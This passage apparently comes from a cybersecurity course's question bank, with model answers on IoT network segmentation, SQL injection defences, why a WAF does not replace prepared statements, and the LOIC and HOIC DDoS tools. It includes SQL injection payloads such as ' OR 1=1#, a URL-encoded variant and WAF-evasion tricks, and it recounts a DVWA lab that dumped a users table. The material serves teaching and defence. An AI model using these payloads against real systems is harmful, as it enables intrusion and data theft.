(4) Segment IoT devices on separate network zones: IoT devices should be placed on a dedicated network segment (VLAN, IoT DMZ) isolated from enterprise systems. Network policies should prevent IoT devices from initiating connections to corporate servers. Necessity: A compromised IoT device on the main corporate network can be used for lateral movement, data exfiltration, or as a pivot point. Segmentation limits the blast radius of IoT compromise to the IoT segment only.

(5) Monitor IoT network traffic for anomalous behaviour: Establish baselines of normal IoT traffic patterns (what destinations devices should communicate with, typical data volumes, expected protocols). Alert on deviations — an IP camera suddenly making outbound connections to foreign IPs, or a thermostat sending large data volumes at 3am, are indicators of compromise or botnet activity. Necessity: IoT devices are often compromised silently with no visible indicators to users. Network-level behavioural monitoring is frequently the only detection mechanism available for resource-constrained devices without local security software.

**Q559: The course presents three SQL injection countermeasures: prepared statements, signature-based detection, and anomaly-based detection. For each, explain how it works and what class of attack it does and does not address.**

**Model Answer:**

(1) Prepared statements (parameterised queries): The application defines the SQL query structure with placeholder parameters before any user input is known. The database server compiles the query structure first, then the user-supplied values are bound to the parameters at execution time. The database engine treats bound parameters as literal data values — it is structurally impossible for the parameter value to be interpreted as SQL syntax, regardless of what characters it contains.

What it addresses: All SQL injection variants that work by modifying query structure — tautologies (' OR 1=1#), UNION SELECT extraction, comment injection, stacked statements, and most blind injection. The query structure is fixed; user input cannot add OR conditions, UNION clauses, comment markers, or additional statements.

What it does not address: Second-order injection where data stored via parameterised queries is later retrieved and unsafely re-used in a new dynamic query. Logic flaws where the query itself is correct but the application uses the data incorrectly. Prepared statements are a structural fix for query construction; they do not address application-layer authorisation or business logic errors.

(2) Signature-based detection: A detection layer (WAF, IDS, or application-level filter) maintains a database of known SQL injection patterns and blocks requests matching those patterns. Detects the most common, well-documented SQL injection payloads that match established signatures.

What it addresses: Known, documented injection patterns. Provides an additional layer on top of prepared statements. Useful for detecting attack attempts even after prepared statements prevent exploitation, generating alerts for security monitoring.

What it does not address: Novel or obfuscated injection payloads not in the signature database. Attackers use encoding variations (URL encoding, Unicode, double encoding, case variants) to bypass signature matching. Like AV signature detection applied to malware, it fails against customised or newly developed attack strings. Not a substitute for parameterised queries.

(3) Anomaly-based detection: Establishes a baseline of normal application query patterns and alerts on deviations. A normally simple user-ID lookup that suddenly includes UNION SELECT clauses is structurally different from baseline behaviour and is flagged.

What it addresses: Catches structurally unusual queries that might not match known signatures, including novel injection attempts. Can detect second-order injection when the re-used query behaves differently from the baseline. Can detect automated SQLmap-style scanning (high query rates, unusual patterns).

What it does not address: High false-positive risk — legitimate application behaviour changes (new features, schema updates) require re-baselining. Low-and-slow blind injection using boolean questions that each individually look like valid queries may not deviate enough from the baseline to trigger alerts. More complex to deploy and tune than signature detection.

**Q560: A junior developer says: 'We use a WAF that blocks SQL injection, so we don't need to use prepared statements.' Construct a detailed rebuttal using at least three technical arguments and reference specific lab findings to support your position.**

**Model Answer:**

This is a dangerously mistaken belief that has led to real breaches. Three technical arguments:

Argument 1 — WAFs are signature-based and bypassable; prepared statements are structural and not: A WAF filters HTTP traffic by matching known attack patterns. Attackers routinely bypass WAFs by using encoding variants — URL encoding (%27 instead of '), Unicode escaping ('), double encoding (%2527), case manipulation (SeLeCt instead of SELECT), whitespace substitution (tab instead of space in SQL), comment insertion (SE/\*\*/LECT), or using database-specific syntax variants. The WAF must anticipate every possible encoding of every attack string — an infinite task. A parameterised query, by contrast, makes injection structurally impossible. The database engine treats user input as a data value regardless of what characters it contains. There is no encoding that can promote a data value to SQL syntax in a properly parameterised

query. Lab evidence: In Lab 5 against DVWA, the payload ' OR 1=1# worked immediately with no evasion required because there was no WAF. If a WAF had been present, a tester would simply try URL-encoded variants: %27%20OR%201%3D1%23 or obfuscated equivalents. Parameterised queries would have stopped both.

Argument 2 — WAFs cannot protect what they cannot see; prepared statements protect at the database level: TLS encryption, which is now ubiquitous (HTTPS), means the WAF must decrypt traffic to inspect it (SSL inspection mode) or it cannot see the HTTP request body at all. If SSL inspection is not configured, every POST request body — including the SQL injection payload — is encrypted from the attacker's browser to the server before the WAF can inspect it. A WAF operating on cleartext HTTP at a reverse proxy would work, but this requires careful TLS termination architecture. Prepared statements execute at the database level — they are not dependent on any network-level inspection and protect regardless of encryption, bypass, or configuration.

Argument 3 — WAF misses second-order injection; prepared statements contextually prevent it: Second-order SQL injection involves data that is stored safely (perhaps even through a parameterised query) but later retrieved and inserted into a new, dynamically constructed SQL string. A WAF only sees the initial HTTP request — the injection payload in the stored data appears harmless when submitted. The WAF has no visibility into database queries executed later when the stored data is retrieved and re-used. If the code that retrieves and uses the stored data uses string concatenation instead of parameterised queries, the stored injection executes. Prepared statements applied consistently throughout the codebase prevent this; the WAF cannot.

Real-world context from the course: The DVWA Lab 5 exercise demonstrated that SQL injection against a real application exposes the entire users table including password hashes (which then cracked to reveal admin:password). In a production environment, the same attack against a vulnerable e-commerce backend would expose all customer credentials, payment data references, and personal information. A WAF that was misconfigured, improperly bypassed, or temporarily taken offline during an upgrade would provide no protection. The only complete fix is parameterised queries.

**Q561: The course covers Low Orbit Ion Cannon (LOIC) and High Orbit Ion Cannon (HOIC) as DDoS tools. Describe what each does, their key limitations, and what legal consequences their use has historically produced.**

**Model Answer:**

Low Orbit Ion Cannon (LOIC): An open-source network stress testing tool with a graphical user interface. It floods a target URL or IP address with TCP, UDP, or HTTP traffic — the operator selects the target, attack mode, and rate, and clicks 'fire'. It is intentionally designed for ease of use, requiring no technical knowledge. It can perform HTTP flooding, UDP flooding, and TCP flooding.

Key limitations of LOIC: (1) No IP spoofing — LOIC sends attack traffic from the operator's real IP address. The source is fully traceable. Law enforcement can trivially identify participants from server logs. (2) It is not a true DDoS tool when operated by a single user — one machine's bandwidth is finite and relatively easy for the target to absorb or block by source IP. Large-scale impact requires many simultaneous users ('voluntary botnets'). (3) Against protected servers with scrubbing services or CDN fronting, LOIC traffic is easily detected and filtered.

LOIC's historical use: Anonymous used it for DDoS attacks against the Church of Scientology (2010) and companies opposing WikiLeaks in Operation Payback (2010). Because LOIC provides no anonymisation,

many participants were identified and prosecuted from server logs alone. Multiple US and European participants received criminal charges and convictions, demonstrating that voluntary participation in a DDoS attack is not anonymous and carries serious legal consequences.

High Orbit Ion Cannon (HOIC): Developed by Anonymous members as a successor to LOIC. Performs HTTP flood attacks specifically. Key improvement: designed to be effective with as few as 50 simultaneous users (LOIC required far more for meaningful impact). Also includes a 'booster' script system to vary attack patterns and evade simple signature detection.

HOIC legal consequences: Members involved in the Operation Payback DDoS attacks using HOIC were also prosecuted. The tool's involvement in coordinated attacks led to criminal charges against identified participants in multiple jurisdictions.

The course's use of these as examples: LOIC and HOIC are presented as examples of how DDoS tools have lowered the technical barrier to large-scale attacks. They are also a cautionary example that participating in a DDoS attack — even using a GUI tool that requires no technical skill — constitutes a serious criminal offence with traceable consequences. The course explicitly notes these are 'network stress testing tools' only and their use for actual attacks is illegal.